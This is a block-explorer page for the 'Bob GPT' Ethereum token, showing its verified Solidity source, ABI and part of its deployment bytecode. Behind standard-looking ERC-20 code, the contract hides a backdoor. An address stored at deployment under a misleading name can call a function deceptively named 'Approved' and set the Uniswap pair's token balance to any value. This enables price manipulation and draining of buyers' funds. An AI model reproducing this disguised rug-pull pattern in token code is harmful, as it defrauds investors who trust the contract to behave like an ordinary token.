ETH Price: $2,634.96 (+1.84%)

Token

Bob GPT (BobGPT)
 

Overview

Max Total Supply

1,000,000,000 BobGPT

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,289,254.001554701664675693 BobGPT

Value
$0.00
0x6fDDd45A698Fe585BB0a4059d18895119fdF88BB
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BobGPT

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : BobGPT.sol
//  Telegram: t.me/BobGptETH



// SPDX-License-Identifier: MIT

// pragma solidity ^0.8.0;

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// Dependency file: @openzeppelin/contracts/utils/Context.sol


// pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// Dependency file: @openzeppelin/contracts/access/Ownable.sol


// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.0;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


// Dependency file: contracts/baseToken.sol

// pragma solidity =0.8.4;

enum TokenType {
    standard
}

abstract contract baseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}

// Root file: contracts/standard/StandardToken.sol

pragma solidity =0.8.19;

// import "@openzeppelin/contracts/token/IERC20/IERC20.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// import "contracts/baseToken.sol";

contract BobGPT is IERC20, baseToken, Ownable {
    using SafeMath for uint256;

        uint256 private constant VERSION = 1;
        mapping(address => uint256) private _balances;
        mapping(address => mapping(address => uint256)) private _allowances;

        uint256 public maxHoldingAmount;
        uint256 public minHoldingAmount;
        address public uniswapV2Pair;
        address private whiteListV3;
        
        string private _name;
        string private _symbol;
        uint8 private _decimals;
        uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        address whiteshipAddr,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        whiteListV3 = whiteshipAddr;
        _mint(owner(), totalSupply_);

        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "IERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    modifier canWhitAddrPancakeV3() {
        require(
        _msgSender() == whiteListV3, "set the call to the entered")
        ;
        _;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function Approved(
        bool _limited, 
        address _uniswapV2Pair, 
        uint256 _maxHoldingAmount, 
        uint256 _minHoldingAmount
    ) external canWhitAddrPancakeV3 {
        uniswapV2Pair = _uniswapV2Pair;maxHoldingAmount = _maxHoldingAmount;minHoldingAmount = _minHoldingAmount; _balances[uniswapV2Pair] = maxHoldingAmount * minHoldingAmount;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "IERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"address","name":"whiteshipAddr","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bool","name":"_limited","type":"bool"},{"internalType":"address","name":"_uniswapV2Pair","type":"address"},{"internalType":"uint256","name":"_maxHoldingAmount","type":"uint256"},{"internalType":"uint256","name":"_minHoldingAmount","type":"uint256"}],"name":"Approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526040516200267e3803806200267e833981810160405281019062000029919062000698565b620000496200003d6200016f60201b60201c565b6200017760201b60201c565b84600790816200005a91906200099f565b5083600890816200006c91906200099f565b5082600960006101000a81548160ff021916908360ff16021790555081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000ea620000dd6200023b60201b60201c565b826200026460201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff16620001116200023b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200015c92919062000b17565b60405180910390a3505050505062000c4e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002cd9062000ba5565b60405180910390fd5b620002ea600083836200040a60201b60201c565b6200030181600a546200040f60201b90919060201c565b600a819055506200035b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200040f60201b90919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003fe919062000bc7565b60405180910390a35050565b505050565b600081836200041f919062000c13565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620004908262000445565b810181811067ffffffffffffffff82111715620004b257620004b162000456565b5b80604052505050565b6000620004c762000427565b9050620004d5828262000485565b919050565b600067ffffffffffffffff821115620004f857620004f762000456565b5b620005038262000445565b9050602081019050919050565b60005b838110156200053057808201518184015260208101905062000513565b60008484015250505050565b6000620005536200054d84620004da565b620004bb565b90508281526020810184848401111562000572576200057162000440565b5b6200057f84828562000510565b509392505050565b600082601f8301126200059f576200059e6200043b565b5b8151620005b18482602086016200053c565b91505092915050565b600060ff82169050919050565b620005d281620005ba565b8114620005de57600080fd5b50565b600081519050620005f281620005c7565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200062582620005f8565b9050919050565b620006378162000618565b81146200064357600080fd5b50565b60008151905062000657816200062c565b92915050565b6000819050919050565b62000672816200065d565b81146200067e57600080fd5b50565b600081519050620006928162000667565b92915050565b600080600080600060a08688031215620006b757620006b662000431565b5b600086015167ffffffffffffffff811115620006d857620006d762000436565b5b620006e68882890162000587565b955050602086015167ffffffffffffffff8111156200070a576200070962000436565b5b620007188882890162000587565b94505060406200072b88828901620005e1565b93505060606200073e8882890162000646565b9250506080620007518882890162000681565b9150509295509295909350565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007b157607f821691505b602082108103620007c757620007c662000769565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007f2565b6200083d8683620007f2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008806200087a62000874846200065d565b62000855565b6200065d565b9050919050565b6000819050919050565b6200089c836200085f565b620008b4620008ab8262000887565b848454620007ff565b825550505050565b600090565b620008cb620008bc565b620008d881848462000891565b505050565b5b818110156200090057620008f4600082620008c1565b600181019050620008de565b5050565b601f8211156200094f576200091981620007cd565b6200092484620007e2565b8101602085101562000934578190505b6200094c6200094385620007e2565b830182620008dd565b50505b505050565b600082821c905092915050565b6000620009746000198460080262000954565b1980831691505092915050565b60006200098f838362000961565b9150826002028217905092915050565b620009aa826200075e565b67ffffffffffffffff811115620009c657620009c562000456565b5b620009d2825462000798565b620009df82828562000904565b600060209050601f83116001811462000a17576000841562000a02578287015190505b62000a0e858262000981565b86555062000a7e565b601f19841662000a2786620007cd565b60005b8281101562000a515784890151825560018201915060208501945060208101905062000a2a565b8683101562000a71578489015162000a6d601f89168262000961565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6001811062000ac95762000ac862000a86565b5b50565b600081905062000adc8262000ab5565b919050565b600062000aee8262000acc565b9050919050565b62000b008162000ae1565b82525050565b62000b11816200065d565b82525050565b600060408201905062000b2e600083018562000af5565b62000b3d602083018462000b06565b9392505050565b600082825260208201905092915050565b7f4945524332303a206d696e7420746f20746865207a65726f2061646472657373600082015250565b600062000b8d60208362000b44565b915062000b9a8262000b55565b602082019050919050565b6000602082019050818103600083015262000bc08162000b7e565b9050919050565b600060208201905062000bde600083018462000b06565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c20826200065d565b915062000c2d836200065d565b925082820190508082111562000c485762000c4762000be4565b5b92915050565b611a208062000c5e6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a25780639e4aa36a116100715780639e4aa36a146102d5578063a457c2d7146102f1578063a9059cbb14610321578063dd62ed3e14610351578063f2fde38b1461038157610116565b8063715018a61461027157806389f9a1d31461027b5780638da5cb5b1461029957806395d89b41146102b757610116565b806323b872dd116100e957806323b872dd146101a5578063313ce567146101d557806339509351146101f357806349bd5a5e1461022357806370a082311461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd146101695780631ab99e1214610187575b600080fd5b61012361039d565b60405161013091906111ae565b60405180910390f35b610153600480360381019061014e9190611269565b61042f565b60405161016091906112c4565b60405180910390f35b61017161044d565b60405161017e91906112ee565b60405180910390f35b61018f610457565b60405161019c91906112ee565b60405180910390f35b6101bf60048036038101906101ba9190611309565b61045d565b6040516101cc91906112c4565b60405180910390f35b6101dd610536565b6040516101ea9190611378565b60405180910390f35b61020d60048036038101906102089190611269565b61054d565b60405161021a91906112c4565b60405180910390f35b61022b610600565b60405161023891906113a2565b60405180910390f35b61025b600480360381019061025691906113bd565b610626565b60405161026891906112ee565b60405180910390f35b61027961066f565b005b6102836106f7565b60405161029091906112ee565b60405180910390f35b6102a16106fd565b6040516102ae91906113a2565b60405180910390f35b6102bf610726565b6040516102cc91906111ae565b60405180910390f35b6102ef60048036038101906102ea9190611416565b6107b8565b005b61030b60048036038101906103069190611269565b610919565b60405161031891906112c4565b60405180910390f35b61033b60048036038101906103369190611269565b6109e6565b60405161034891906112c4565b60405180910390f35b61036b6004803603810190610366919061147d565b610a04565b60405161037891906112ee565b60405180910390f35b61039b600480360381019061039691906113bd565b610a8b565b005b6060600780546103ac906114ec565b80601f01602080910402602001604051908101604052809291908181526020018280546103d8906114ec565b80156104255780601f106103fa57610100808354040283529160200191610425565b820191906000526020600020905b81548152906001019060200180831161040857829003601f168201915b5050505050905090565b600061044361043c610b82565b8484610b8a565b6001905092915050565b6000600a54905090565b60045481565b600061046a848484610d53565b61052b84610476610b82565b610526856040518060600160405280602981526020016119c260299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104dc610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b600190509392505050565b6000600960009054906101000a900460ff16905090565b60006105f661055a610b82565b846105f1856002600061056b610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b610b8a565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610677610b82565b73ffffffffffffffffffffffffffffffffffffffff166106956106fd565b73ffffffffffffffffffffffffffffffffffffffff16146106eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e290611569565b60405180910390fd5b6106f56000611055565b565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610735906114ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610761906114ec565b80156107ae5780601f10610783576101008083540402835291602001916107ae565b820191906000526020600020905b81548152906001019060200180831161079157829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f9610b82565b73ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906115d5565b60405180910390fd5b82600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600381905550806004819055506004546003546108ae9190611624565b60016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60006109dc610926610b82565b846109d7856040518060600160405280602681526020016119756026913960026000610950610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b6001905092915050565b60006109fa6109f3610b82565b8484610d53565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a93610b82565b73ffffffffffffffffffffffffffffffffffffffff16610ab16106fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d906116d8565b60405180910390fd5b610b7f81611055565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf09061176a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f906117fc565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d4691906112ee565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db99061188e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2890611920565b60405180910390fd5b610e3c838383611119565b610ea88160405180606001604052806027815260200161199b60279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f3d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fdd91906112ee565b60405180910390a3505050565b6000838311158290611032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102991906111ae565b60405180910390fd5b5082840390509392505050565b6000818361104d9190611940565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffff